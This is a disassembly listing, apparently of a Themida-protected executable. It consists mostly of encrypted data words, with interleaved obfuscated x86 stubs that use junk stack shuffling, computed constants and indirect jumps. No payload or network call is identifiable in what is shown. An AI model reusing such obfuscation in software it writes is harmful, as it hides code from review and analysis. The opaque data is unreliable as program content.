dd 0E2714C59h, 1FC4F305h, 0DBAFA6EEh, 0AC102D72h, 0BFCA3BB1h dd 2CDA3E82h, 82927B8Ah, 2A7FA84Bh, 6F94768Ah, 47384D95h dd 0AB1F7357h, 9416CABBh, 7F8E04C3h, 40FC6485h, 444D32h dd 2EDF0000h, 0D93FE9E8h, 14F8D5DEh, 941DAEDCh, 0A12C66C3h dd 0AE9BEA1Bh, 0F16F9E80h, 15A3240h, 0A2000000h, 16FAD7DEh dd 0FDC0D9C4h, 9EABFA53h, 43B432Ah, 4B5A50B0h, 0F5C0D4C1h dd 96A3F25Bh, 7A57A04Dh, 0DADE1BF9h, 5FA617FBh, 2E209E62h dd 0C36BACFFh, 0C3941D87h, 6ADE3208h, 2FBEF816h, 5083B2C6h dd 855762B7h, 1D97F37Bh, 2218C394h, 4E5D0C04h, 0D9DE8F73h dd 5EA910E4h, 0E7219F63h, 0EB7194E6h, 28F78474h, 29C7D7B0h dd 538A7E8Fh, 5E324140h, 7Bh, 0FAD523D2h, 2E143216h, 17FBDADEh dd 0A9BD5BA6h, 21873BF5h, 1990F478h, 2317C394h, 18357ECFh dd 3A705024h, 0A0F421ABh, 379E854Eh, 160A460Bh, 4DC06EA2h dd 3AEB0837h, 826BDFE6h, 5CF1457Ch, 8AB34944h, 0A7324119h dd 5Dh, 0FBDADE41h, 46738471h, 259AA0A8h, 35933231h, 36BEACEBh dd 0C3947B52h, 0CA43EDD5h, 0FA3F83BAh, 0B2C62FBEh, 7B95F175h dd 201AC394h, 0DEE117CCh, 0EC980CD7h, 63C3941Dh, 9F573B1Fh dd 0C3941DEEh, 237BAA38h, 6F437E89h, 12E6E7C1h, 3240F0FBh dd 0F7CED4C1h, 5821CF03h, 1, 0FED3DEA4h, 7B56A30Ah, 54E66A97h dd 941DB4D0h, 0EBE635C3h, 0B5542367h, 0A4420E62h, 6987FB33h dd 4A59BE4Fh, 0EF38E577h, 2C136BD2h, 67356102h, 0B90D3049h dd 73FB6145h, 0BD9E0966h, 0E93E35AAh, 0DDC58E7Eh, 1AEED433h dd 816B66B3h, 287D365Ah, 3B1FE3D2h, 0DEFECE1Ch, 0F150AB7Ch dd 123C1091h, 2145D751h, 3A618AA5h, 0D736D02Ah, 2303F7C2h dd 3A618AA1h, 9B13D024h, 3A618AEFh, 52261A60h, 0DAAE91EBh dd 0D7AB3A7Ch, 9E0786D2h, 4ABBB895h, 0D1B80C39h, 5B0589C4h dd 0D9C44C59h, 0F855F3CEh, 5D4892AFh, 4B8F734Eh, 0F3EDA9Dh dd 3A2C3688h, 0FEh, 760D6FC2h, 0FF1140E4h, 0A49EBD9Eh dd 211C69D0h, 0F5C0D532h, 724F5801h, 0D7D6D08Eh, 0BE8E52Eh dd 35C36089h, 5D492Ch, 6F970000h, 5BE5770Ch, 0C36D54AAh dd 941D0733h, 0C81268C3h, 4EF8C7DDh, 64CB70FAh, 0A153500Fh dd 82E6D127h, 0CDF49064h, 26753C6Bh, 0A1F6A72Bh, 0EDD82D9Ch dd 6865BF19h, 0EBFA3C16h, 8953E8B3h, 6BCD3165h, 55AA5B3Ch dd 289CABFDh, 0F956F0D4h, 0FE60AE5Ah, 1276BAF7h, 7832C1h dd 0BD5A0000h, 969E4A50h, 93F7CBBFh, 613DEB2Fh, 83C1DB1Bh dd 6373FC13h, 1849DD0Fh, 55BD9FF0h, 0E730996Dh, 0EFF09EAh dd 347CB0Ah, 221F68E5h, 0D7C9965Eh, 90C03A61h, 0AE9BEC15h dd 8893E9B5h, 0C2BACA62h, 0CD354473h, 0FD02F379h, 0D22726C0h dd 0F7C675E7h, 471DDD5Dh, 0AB56BA54h, 0F686DCE9h, 1777FF6Dh dd 984E65EEh, 5D726479h, 45C6BDC9h, 0FC8322Eh, 50B42555h dd 0D6F7583h, 360D1580h, 82C60E42h, 5C3941Dh, 8113D93Dh dd 0ADC10E14h, 0C3941DD9h, 8C7054AEh, 0B6D69E48h, 39BD8608h dd 0B1A41BC1h, 89A8138Fh, 70D931DFh, 0DCC92A27h, 0DA0AFECBh dd 99AFF67Eh, 58414C66h, 4E1724Fh, 0A714C6F3h, 0C8C6FEFEh dd 5A778202h, 0ACBE92F6h, 83324C38h, 51FFC356h, 0CB0A10F9h dd 6B1F9721h, 91568332h, 8332691Dh, 3B84FE56h, 342129C7h dd 7F88717Ch, 85179142h, 83326561h, 0F305EA56h, 381C70C4h dd 0DFEA3F0Eh, 3946Bh, 843C0000h, 0FDD4DE9Ch, 7A57A009h dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh dd 40798871h, 0CFFA0DFCh db 7Bh, 0CFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 72F2h mov [esp], eax push 61ACh mov [esp], edx push edx push 3A5C5EA1h pop edx dec edx sub edx, 344A2797h mov eax, edx mov edx, [esp] add esp, 4 push 3678h mov [esp], esp add dword ptr [esp], 4 pop edx push eax add dword ptr [esp], 5CD313E1h pop dword ptr [edx+8] push eax mov eax, 651146E0h not eax sub eax, 3742024Eh dec eax sub eax, 6D9A2EFh sub [edx+8], eax pop eax mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- db 4Ch dd 8FA9DC78h, 77520CECh, 0C32CC656h, 3B6EB8BDh, 0C5030612h dd 52D6E0FFh, 6C9756CFh, 30AE24EEh, 7844114h, 50152638h dd 8ED62E0Dh, 0A05B22CAh, 0ED877B5Eh, 2D432BD5h, 1B391F84h dd 15517ABAh, 1C90315Ah, 1BF215FBh, 0BA752A30h, 0F189084Ah dd 56626533h, 746B0FA4h, 0CF5550ABh, 445C2588h, 0A76A23D2h dd 3A0D264Ch, 99D910A3h, 0CDE95DDDh, 0CF9B6868h, 0B3993A7Ah dd 422675A1h, 58B30397h, 775490Ah, 0B8C07379h, 225B0191h dd 8D8D2625h, 6123D5Bh, 0E860Fh, 89600000h, 0B05AD85h dd 65B52306h, 61060B2Ah, 174D8D89h, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 528FEFC3h dd 0C7ED27A8h, 0B011985h, 5D1406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 85C7B41Eh dd 60B1009h, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+60B3365h] push dword ptr [ebp+60B2705h] push 0 push edx call sub_5AFDC3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AFDC3 proc near ; CODE XREF: Themida_:005AFDBBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5AFDC3 endp ; --------------------------------------------------------------------------- db 0E9h dd 0B06A41h, 891A4352h, 3800FF9h, 80000000h, 0BD3111F3h dd 60B0FB5h, 0AC595FFh, 0E281060Bh, 3EE7F7EEh, 95FF006Ah dd 60B32DDh, 6BEBC08Bh, 3EA10E7Ch, 0A8EE9A81h, 5EC837B3h dd 94DB3696h, 6393804Eh, 0F057B7B1h, 300A3A7Eh, 8F0E823Eh dd 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h dd 51C459F0h, 0D71F07F5h, 0D97FE656h, 20147FCBh, 0D997F7C2h dd 0DA674033h, 0FF4EAD6Bh, 0FAE7B94Eh, 7CCD8D7Fh, 6CCF1AB1h dd 0CADA6482h, 0FE480086h, 526D3610h, 0EB83364Eh, 8757AF04h dd 512E97Ch, 0FE080000h, 0A4F31CC7h, 52A14E95h, 0F30BE47Fh dd 0A2F617CCh, 0EAF14093h, 2D360913h, 5D86BBC0h, 8A6964B0h dd 263D081Dh, 0EB9F17D5h, 7CC58620h, 0D5DE178Dh, 5FA514F8h dd 112F360h, 8C994034h, 91CCDB1h, 93E55438h, 1E69D0A4h dd 0A7E15F23h, 267C5426h, 0EE357EA7h, 941D0246h, 44E8C3h dd 87C3941Dh, 0E408C4B3h, 0C3941DE0h, 0DB3F1367h, 0AE99EF18h dd 0B9CA3BB5h, 4B51388Ch, 684C8074h, 0C4FAF0AFh, 0CE78C421h dd 0AA1E297Fh, 112C75A0h, 3C0116F7h, 0A598E148h, 2E1368D1h dd 0B5306A5Ah, 69643CD9h, 0B8CC7480h, 4B50398Dh, 6A4E8276h dd 0F700ED76h, 39E476DAh, 0A232DCE3h, 0C3945C23h, 0FC1491EBh dd 3241324Dh, 5764h, 33BD8000h, 0BD7B0F8Ch, 2F2795E8h dd 0C3948D5Bh, 1A350D2Ch, 0D944BA87h, 300114E5h, 6FDE084Ch dd 8B5B2F1Ah, 0C394DDF9h, 9A6E7F35h, 3241B173h, 15Eh, 0D7DEA600h dd 0BAC416FAh, 941D5632h, 47E1D9C3h, 3E82BFC6h, 8408374Fh dd 0AE57564Ch, 1C896A67h, 0DF253E0Bh, 17FBDADEh, 9E625FA6h dd 3EE7E620h, 0EF18DBFAh, 72DBAF9Ah, 0D5C02A27h, 0C3078BC6h dd 88282D25h, 0F356877Dh, 6F533240h, 0C9000000h, 4FF9C4DCh dd 0DDADEE9h, 941DED99h, 0FF1862C3h, 523E88A6h, 0C9BD9113h dd 49E31160h, 49FD4B99h, 448C7054h, 842077A6h, 9EF24673h dd 9B2A8CBAh, 0CC172E72h, 12E6D923h, 986C53ABh, 5AAE3F65h dd 3241CEA3h, 438Eh, 0A5F32200h, 0FADEE93Fh, 2E143216h dd 17FBDADEh, 0ADBC5EA6h, 656FFFD8h, 0CFFA0FFEh, 0D60267EBh dd 0EBEA2ED7h, 0D7DE8808h, 0D9C416FAh, 0CB0FF3CEh, 1D38491Dh dd 0B8F2C394h, 0F136D72Dh, 1133240h, 0FD000000h, 0AFED3DEh dd 0F17B56A3h, 262B964Ah, 6EA9254Ah, 6FE27BCAh, 0F058F671h dd 59BE4F45h, 0B2EC774Ah, 638B51EAh, 0BD9E5C16h, 0AE1FE3D7h dd 1A8B6865h, 98483C09h, 3A6160EAh, 5D21186Bh, 0DBAF96ECh dd 176B7A3Eh, 8C9F0E12h, 60A7234Bh, 0D2283A61h, 0B8B141FEh dd 0A99F42EBh, 43A8257Fh, 0B4898E36h, 11628350h, 368F9EFFh dd 8876386Eh, 0E9062C24h, 0A115096Dh, 2E92AFF8h, 5041FE70h dd 0DBF202A5h, 0A807613Ch, 40A9247Eh, 4FD91A37h, 7FDDA93Dh dd 68523A61h, 52AD5CBEh, 5B842C36h, 60000001h, 0E4760D6Fh dd 9EFF1140h, 0D0A49EBDh, 0ADFA1C69h, 0FE6D373Ch, 7AAB48ACh dd 477A8929h, 510C44F3h, 5C542DB0h, 0C9B00478h, 0C95B81BCh dd 60A721A5h, 0B25CA63Ah, 0AE99EF5Eh, 162973DAh, 701498A2h dd 0F73A60A7h, 7C89A383h, 7372B402h, 9E4C798Ah, 447B4821h dd 153341A4h, 0D027D652h, 0F391DE1h, 3513FC2Dh, 4AD52Ch dd 56470000h, 1B6F8740h, 0EC3A6032h, 0AE94B296h, 0E5770C6Fh dd 941D5541h, 7AE0DAC3h, 1D0044E8h, 0B387C394h, 0D1B5BD95h dd 0C3C3941Dh, 0A954DCE9h, 57D4635Eh, 0A77B55C6h, 2B704CFAh dd 76A2CA10h, 0F9C394BBh, 0A7A35281h, 0CD000000h, 0E4760D6Fh dd 9F052140h, 27B1C3BDh, 60CBFB8Fh, 0FE764C3Ah, 3A60CB8Ah dd 0C0B251Dh, 0D9B72436h, 5964C369h, 0D4858DBBh, 806DF6C3h dd 65905A77h, 307211Ch, 60B39C23h, 0E7DA233Ah, 6C59AA13h dd 0E9E43E98h, 45409095h, 0E57E4B5Ch, 9258E3B9h, 72BFA71Ah dd 0FE42B844h, 3E4AE26Ch, 0F130766Dh, 28B05034h, 0FE05F1Ah dd 38D6CAF5h, 1F5C0D5h, 59119C14h, 6F5AAD43h, 0A9DD519Bh dd 3E30760Dh, 5E8CE0C4h, 64017BD6h, 2374A14Eh, 24A0C416h dd 0AB2E5BCEh, 0BB5AB957h, 2973526Fh, 0D16EA216h, 9EF2FD8Bh dd 0D6FBF45h, 0CD40E476h, 42BD8611h, 0D0259478h, 84917EE5h dd 2B6DC549h, 0BB3ECEAh, 1A6F9411h, 0A89E3D2Fh, 51333CC0h dd 65E9D82Fh, 4023CD21h, 435097C4h, 8A889394h, 71C5F403h dd 91AF31Dh, 99E1483Ch, 0B9ACD84Ch, 0DF23BCCCh, 0AEEA17FBh dd 90ADF61Fh, 6451A243h, 113F90h, 0BD590000h, 0EBCFEF1Eh dd 0F9DDA198h, 0E14CA25Eh, 0DEA49C47h, 0A009FDD4h, 27967A57h dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh dd 0DFC4079h, 0CF7BCFFAh, 815D5455h, 4C5h, 4ED8300h, 5C242C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ebp mov ebp, 24FB0DE8h or ebp, 1B64717Bh sub ebp, 17B87FBDh inc ebp sub ebp, 1F2297B4h mov ebx, ebp pop ebp not ebx add ebx, 2311AAEh xor ebx, 0FF1E89F4h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push 2685h mov [esp], ebx pop dword ptr [eax+8] mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0E755h ; --------------------------------------------------------------------------- push es adc eax, 0E66F37E0h mul byte ptr [ecx+2A91B856h] mov eax, 612423Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 84h, 40h, 7Dh dd 305B1E41h, 0AA904367h, 0BC64463Ah, 8C4B003Eh, 1B31087Dh dd 0A496C74Eh, 81210F71h, 9C8B8D3Dh, 1D1DDD01h, 4A12A20Eh dd 9EC01F0Ah, 0E7EED817h, 875D9C77h, 86EB661Ch, 0CA4CE749h dd 544FC101h, 2DD50976h, 9850E423h, 0E4F0951Fh, 149F4714h dd 6B6AC43Eh, 0AA323702h, 0A85D2301h, 8EDE1C4Dh, 949D9040h dd 3B04EB64h, 0E91CC8B7h, 573h, 825168BAh, 3C271265h, 6A89C0D3h dd 855E65BDh, 362D1068h, 7F85588Fh, 2D729340h, 0D222C310h dd 7A8F78FBh, 8567944Fh, 865E6561h, 0A51BEAC5h, 0C3721EBDh dd 38AFD92Ah, 0DCCEBA32h, 7941C394h, 8D357ECFh, 84F84C7Bh dd 176DDCA0h, 0C9DACB28h, 54A108FCh, 0DAAE9BECh, 0AD5882E6h dd 40D16E55h, 6EDC7CD3h, 0C715FD2Bh, 56AB8E98h, 5A97820h dd 0C394D341h, 6E98FCC6h, 0D5B9889Fh, 0A226A7FDh, 0FA142B73h dd 28CB0613h, 459EA9FFh, 0A3F45CA8h, 8AEE2296h, 2AA3406h dd 0C394D346h, 0F657F1C9h, 0D289CA1h, 87917677h, 297AAB48h dd 0F94D7089h, 15DDA185h, 0C394D374h, 13E9E4BEh, 3241BEFAh dd 5DD7h, 0D5DE3100h, 0C92D186Dh, 1D9FED45h, 5D57C394h dd 0F091B850h, 1B83240h, 44000000h, 94450BDh, 2A276EDFh dd 106994A6h, 0FB0A032Dh, 8D71485Bh, 38E15549h, 0A3F825E2h dd 1ED62A9Eh, 0C3941D6Ah, 0DDA185FDh, 30C877F5h, 0D9869C13h dd 4441638Dh, 0FA79485Fh, 4C58F80Dh, 55498D71h, 0DADE768Eh dd 96C517FBh, 2A5F7E5Dh, 0CBD0B904h, 0A2F558F6h, 33752397h dd 7EB12EB2h, 0CFB93689h, 0FD070620h, 0A3F411C2h, 0ED182296h dd 2CA97595h, 8FD1680Bh, 45E327ABh, 9E5BB9C8h, 5FA50EF0h dd 0B564E8CCh, 3DEC506Fh, 8475D9E4h, 98FC4071h, 0D4A6277Dh dd 0AE626331h, 3241986Fh, 7FBAh, 0A43600h, 0C394B144h dd 0E359F7CBh, 0CFBB33BDh, 40C3941Dh, 3B41CC7Ah, 0BAC9B004h dd 0D9D33387h, 0E2DD27CCh, 248C9471h, 102F77DFh, 8574D83Ch dd 0CF5F9D7Dh, 756B0E75h, 8A8AD11h, 95D607FDh, 0D9C43241h dd 8D54F2C1h, 6Bh, 4550BD6Bh, 0A24C8074h, 9A6E51ABh, 297FE533h dd 7256AA1Eh, 77816B8Eh, 1D0541E5h, 0B08AC394h, 941DD4B0h dd 0AEF25BC3h, 8BEF2397h, 0A54A5B5Dh, 5F3605Fh, 70FAD7DEh dd 1D3A4EE6h, 0B58DC394h, 0CEBFB79Bh, 51C3941Dh, 0B891E048h dd 0F309F044h, 0FF2578CCh, 2E649CEEh, 9FE8159Fh, 4CFADEA2h dd 40F13BD2h, 11632h, 0DEFE0000h, 0C00AFED3h, 56F0CFD5h dd 4597A2F7h, 0D6704958h, 0C0CDC772h, 62F1C8DBh, 9D36834h dd 9EFC90E5h, 0FF6D55BDh, 0C08DF96Dh, 38023A60h, 46533A0Eh dd 0DF57E10Bh, 3A60C0ABh, 7649533Ch, 0BC6A4E82h, 7AB9CA3Bh dd 60C096F2h, 320D173Ah, 0B58D0A4Eh, 745ED51h, 323A60C0h dd 0B05DE7E6h, 0ACE05465h, 437E8B82h, 628A1490h, 3A60C066h dd 967791E9h, 18AAB08Dh, 0C062668Eh, 9DE53A60h, 60C03155h dd 32BAB63Ah, 3A60C056h, 638DE1D9h, 6BB05DEFh, 4055B856h dd 0DDD78175h, 15DE2BD0h, 60C0F591h, 1520743Ah, 0E77C50AAh dd 35CDF415h, 162DD2Ch, 6F3B0000h, 40E4760Dh, 0BD9EFF11h dd 0EFE2319Eh, 7FC3271Bh, 0AB48858Eh, 42EA297Ah, 3A60CF06h dd 6E2826C9h, 6F12692h, 0E312D83Ch, 0BB8FB990h, 0F4C1D2h dd 887C4359h, 16FAD921h, 0B65F6EA8h, 0A9ED5160h, 3CC9CBB5h dd 6CF7C2D7h, 35337990h, 5C502Ch, 6FBC0000h, 5BE5770Ch dd 941DB7D3h, 24C238C3h, 1DF6224Ah, 179C394h, 891DAFBDh dd 0C3941DFDh, 7B810872h, 729CF044h, 941DE6E2h, 201F67C3h dd 0AC9BED5Ch, 0A9247ED8h, 28A5FFD5h, 0C8122972h, 941D70A4h dd 5083F7C3h, 565367D4h, 8D951F79h, 0D6610A0Ah, 0F711A0E2h dd 0B300h, 50BDA800h, 7087764Bh, 6F99FD41h, 24364D2Fh dd 9F05E180h, 0A0146EBDh, 0D74AACF9h, 7687E5EEh, 8461F2D6h dd 0A944673h, 60B2E6E2h, 0F711693Ah, 0B38CD313h, 95873A60h dd 9BCD3926h, 7997FD60h, 3C49AE3Fh, 52B68394h, 0BCC7D581h dd 8F1D06AEh, 146E4471h, 4ACF9A0h, 1C70C4F5h, 96E55438h dd 1B66D7BBh, 0A2E45226h, 71159923h, 0F6307612h, 0DF6DA88Ch dd 3FE9E82Eh, 6A326865h, 12FB8F27h, 3C423076h, 6C40BA05h dd 0D34D76FEh, 0A2534E67h, 49C6605Dh, 0F77C9EE4h, 8E0BA5C3h dd 0C812766Ah, 8FCCBDDh, 0CF591A34h, 0BFFD6DEh, 926653A2h dd 0B6AC5ABEh, 0E4760D6Fh, 85DC5B40h, 1AEED4BDh, 90166BD0h dd 0E85D1EA6h, 0F8DCA099h, 96E36A84h, 0F6EAE72Eh, 17CE36Dh dd 3C11D364h, 1A6FDE08h, 0EB5F66BAh, 0E3C7FE02h, 0C4313B8Fh dd 0DD3185B0h, 0E53EA722h, 0D07E671Fh, 0A38D5304h, 5C694353h dd 8C5762B7h, 573B1663h, 0BBA190E6h, 8408354Ah, 9CA3F940h dd 0D63AD428h, 53271267h, 24A895EAh, 4539B4EEh, 4EDF8B8h dd 0F01DC6F3h, 6126AAA7h, 3, 0DE9C848Bh, 0A009FDD4h, 27967A57h dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh dd 0DFC4079h, 0CF7BCFFAh, 57E68956h, 4BFh, 5FFE0100h, 8704EE83h dd 685C2434h, 5CD5h ; --------------------------------------------------------------------------- mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 310F792Dh dec esi xor esi, 371D3A48h mov ebx, esi mov esi, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, edx mov [ecx], ebx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- dw 8A23h ; --------------------------------------------------------------------------- fidiv word ptr [esi-45h] sbb [esi-6Eh], bh enter 58B8h, 48h adc al, [esi] add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 19AD8174h, 5F42988Dh, 6B4A24E4h, 141EC89h, 4D866753h dd 6BA76F3Dh, 2BD2CA1Ah, 16344403h, 60416705h, 198C8DA5h dd 27213D35h, 0E7F01B9h, 1BBA38FCh, 54901ACh, 40C63D80h dd 466F841h, 16BBFFA3h, 2DA9B6F4h, 531848DDh, 0FDEA04EBh dd 45E90697h, 0E9000005h, 50BDA69Dh, 3EEF7445h, 0E805DEF3h dd 57B0A392h, 52E1724Dh, 95A8F00Bh, 6558A14Eh, 0C80711FEh dd 9CA9FA2Bh, 3EB6BA47h, 0C586544Ah, 13826EDDh, 0D740340Bh dd 0FFC485E0h, 42206FEh, 4150BD1Eh, 1A6FDE08h, 0AEF25B2Fh dd 56A34C97h, 0F004F17Bh, 0F31D71C5h, 6865AE1Fh, 0D7E235E4h dd 0FC092363h, 2C370217h, 0CA2C75A0h, 0E93CE29h, 0CB11752Eh dd 94FD27A3h, 0B452A8C3h, 0E3704F59h, 0B92DF202h, 0C394FDCDh dd 0B0047842h, 398DB0C9h, 860A4750h, 0DF1C0D7h, 79159010h dd 20C9C4DCh, 8D7AF9D4h, 69F94D78h, 0C394FD18h, 37CDD8D2h dd 3241D116h, 8533h, 0D5DEDD00h, 0AEDC14F8h, 66C3941Dh dd 0A41BA12Ch, 90CBE8C9h, 0F175E7EAh, 0C3945E95h, 1406201Ah dd 324133F5h, 1DCh, 0D7DE3800h, 64812821h, 48AC1455h, 292073A2h dd 43C761A5h, 0ACBE8B9Ah, 0F0A9BC0Fh, 2F47E052h, 0C394315Bh dd 0BF2D62Ch, 67ACEF1h, 65DA60E8h, 4CE044C7h, 0C3943538h dd 6F8C4B8Fh, 88FC70B9h, 1FC3948Ah, 2429C73Bh, 3313E7DEh dd 0F007ECF9h, 679612C1h, 795D2110h, 18357ECFh, 0DADE3DDBh dd 5FA617FBh, 0E6209E62h, 0DBFA3EE7h, 472F8C18h, 43567D3Eh dd 899A739Dh, 1261C8BCh, 0BA32D3Fh, 0C394FB7Fh, 0F45C8AF0h dd 4E424351h, 3241D88Fh, 679Ah, 0DADE6200h, 708471FBh dd 95A7AB45h, 592D1068h, 3742CB65h, 8C5EB61Ah, 0A241B61h dd 0ACF41DA8h, 4F5A4B91h, 0F213D472h, 7A2397AEh, 94A91D24h dd 0D20B810Ch, 0DF3240F2h, 43h, 0DDADE39h, 941DED99h, 0B11862C3h dd 0A1E56964h, 0F8209F4Dh, 8865D493h, 2F9E729Ch, 71AEED9h dd 0D12BD0DDh, 0AFB75EEh, 3A20CEFBh, 16FAD7DEh, 941DAFDEh dd 0A02D67C3h, 40F0C168h, 1E832h, 0DE740000h, 0A30AFED3h dd 6A977B56h, 2B769F2Eh, 3143CD16h, 941DC9BDh, 1A925EC3h dd 0C3941D6Eh, 8BA599E1h, 3D476933h, 665ABE02h, 0FC6570F4h dd 76A7BD9Eh, 16F51322h, 0A4F1582Ch, 0CF3E4AA9h, 0C00488B7h dd 0E7D22726h, 0C0B1D313h, 0EF343A60h, 67BF6ED2h, 0C04206AEh dd 0FDC53A60h, 0A0F03599h, 0C546925h, 45E97B81h, 3A60C001h dd 0A983BC86h, 0B08CEB76h, 0BFC845E3h, 63B45182h, 0CE58E256h dd 90D05491h, 3F37AAD0h, 3A60BF4Bh, 0C548E6DCh, 483185B0h dd 0D0B90D30h, 0E2078BCAh, 0FD5B37B6h, 0B0C52ABBh, 8BA25E85h dd 0A62C3592h, 159h, 0BB33BD4Eh, 0C3941DCFh, 0F0CC7A40h dd 0C6F302ACh, 85F478E2h, 7BD9EFFh, 92BC8196h, 10F94DB5h dd 9F29CA07h, 0A495E00Dh, 60CFD8ACh, 0DEAAC23Ah, 513A60CFh dd 7A94EE69h, 0A14B8693h, 0CFEB9F17h, 67C3A60h, 48DA60E8h dd 60CFA024h, 0ECD3293Ah, 675B2418h, 0DD3344C9h, 16FE14AEh dd 8D7155B4h, 678F19D3h, 3A608063h, 36709EE4h, 8454EB7h dd 42EA33E2h, 5F23073Eh, 806D198Dh, 98E23A60h, 2FE98AA4h dd 2C358DFEh, 382Bh, 0C6F3500h, 5541E577h, 0DAC3941Dh dd 0B0D41CE0h, 0A2C3941Dh, 75405540h, 1A34D81h, 0B6CDAE84h dd 1D1400A4h, 271BC394h, 9FC53Ch, 891B0000h, 6BE26165h dd 729CE63Ch, 760D6F8Ch, 52140E4h, 54AEBD9Fh, 53AB5AE0h dd 8AA4986Ch, 915B7683h, 54251064h, 13D4724Fh, 2094A1F2h dd 60CA7F00h, 9F2E4A3Ah, 67638B15h, 0E83A60C8h, 0B7E10D49h dd 1377AD08h, 320F18F5h, 1C277521h, 750591CEh, 0B2AF33BFh dd 5C52DA94h, 0EF447153h, 0A1970B70h, 3F13E1CCh, 0A491E24Bh dd 0C48024B6h, 4B307679h, 0C471D977h, 4ABBC1CCh, 56DE0C39h dd 30767932h, 1BA34DB5h, 0FC70FA81h, 4E6782E2h, 2EDF0D75h dd 0E97DEFE6h, 2E44069Dh, 65FE2812h, 760D6F9Fh, 5CAB5AE4h dd 0B9849C6Dh, 0E6E9C78Fh, 7ABD85h, 8DB8CDBCh, 0A76CB956h dd 0D2122F76h, 3A79AAB6h, 19EDC139h, 0FC3BBAC9h, 7F8EA43Dh dd 0DF258D96h, 0B6578CE0h, 84B3C56Dh, 156DDCA0h, 0C4D13C2Eh dd 4EEB5F89h, 8A31BB4Ah, 3DB13E30h, 3AFCC949h, 455BE4DEh dd 0BDB34C0Eh, 8C1CFF23h, 4750BD6Bh, 0E635E00Ah, 4DBA3DEBh dd 0BC8D9838h, 61A46383h, 766AC113h, 0D2E139E4h, 14FC2A6Eh dd 0AB3h, 50BDDD00h, 40840841h, 0DE07FDA6h, 0A009FDD4h dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E38953h, 4C3h, 4EB8300h dd 31241C33h, 1C33241Ch, 89515C24h, 4C181E1h, 83000000h dd 0C8704E9h, 2C895C24h, 48926824h, 0C890000h, 3685224h dd 5A27B037h, 2217B951h, 81491FB9h, 0D34D38C1h, 59CA2127h dd 6E35F281h, 0D5890192h, 5599685Ah, 24890000h, 24048324h dd 89505904h, 84189E8h, 8124048Bh, 4C4h, 240C8B00h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835D2434h, 0C8E904C4h dd 5FFF930h, 140BD5Fh, 0D471C9FAh, 0B0AF69F7h, 124DE0B8h dd 0FFC50306h, 4D24B9E0h, 1BC1056Ah, 695B737Dh, 8D972565h dd 6CE9613Fh, 3FFE4203h, 439F2024h, 6279E06Dh, 7791480Eh dd 314F5E34h, 0F485165Eh, 205BE033h, 0C1F72E1Dh, 0E6CBC80Eh dd 7EE7F29h, 0F61D4B6Bh, 1C5E6403h, 1328CD38h, 656DED3Dh dd 5E80810h, 2B5B0A71h, 3D716600h, 341EB53Ah, 81360E59h dd 445BF815h, 10EB0Ch, 3 dup(0) dd 8B000000h, 0D08B66C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 2DB8C08Bh, 89000004h, 0B2A3585h dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 2DB85350h, 89000004h, 0B2A3585h, 99D8D06h, 0FF060DB0h dd 89585BD3h, 0B20818Dh, 85BD8906h, 66060B16h, 0C08BD78Bh dd 0B91B589h, 8D8B060Bh, 60B0E41h, 83D0B70Fh, 840F00F9h dd 7Eh, 0A3A9F681h, 8B645929h, 2C3Dh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0AE936D2h, 0C9000000h, 0C9C4912Ah, 491EA6Bh, 0FFF0B84h dd 3D84h, 6E800h, 22170000h, 75798492h, 7E9h, 0A9A47E00h dd 37EEC307h, 663F8B5Eh, 236E2EBAh, 0B06A9B5h, 0E8C03206h dd 8, 2AB32DA0h, 0F322BE63h, 0F35EB4B6h, 0D68166AAh, 49358846h dd 6A535041h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0FBD0C353h, 68A0988Bh, 958B0CCAh dd 60B1375h, 284585C6h, 6A47060Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8788C352h dd 0F7E537A6h, 1771BD89h, 5A68060Bh, 50BFD9B7h, 8E852h dd 447A0000h, 9413990Eh, 6160F6A6h, 60310F5Ah, 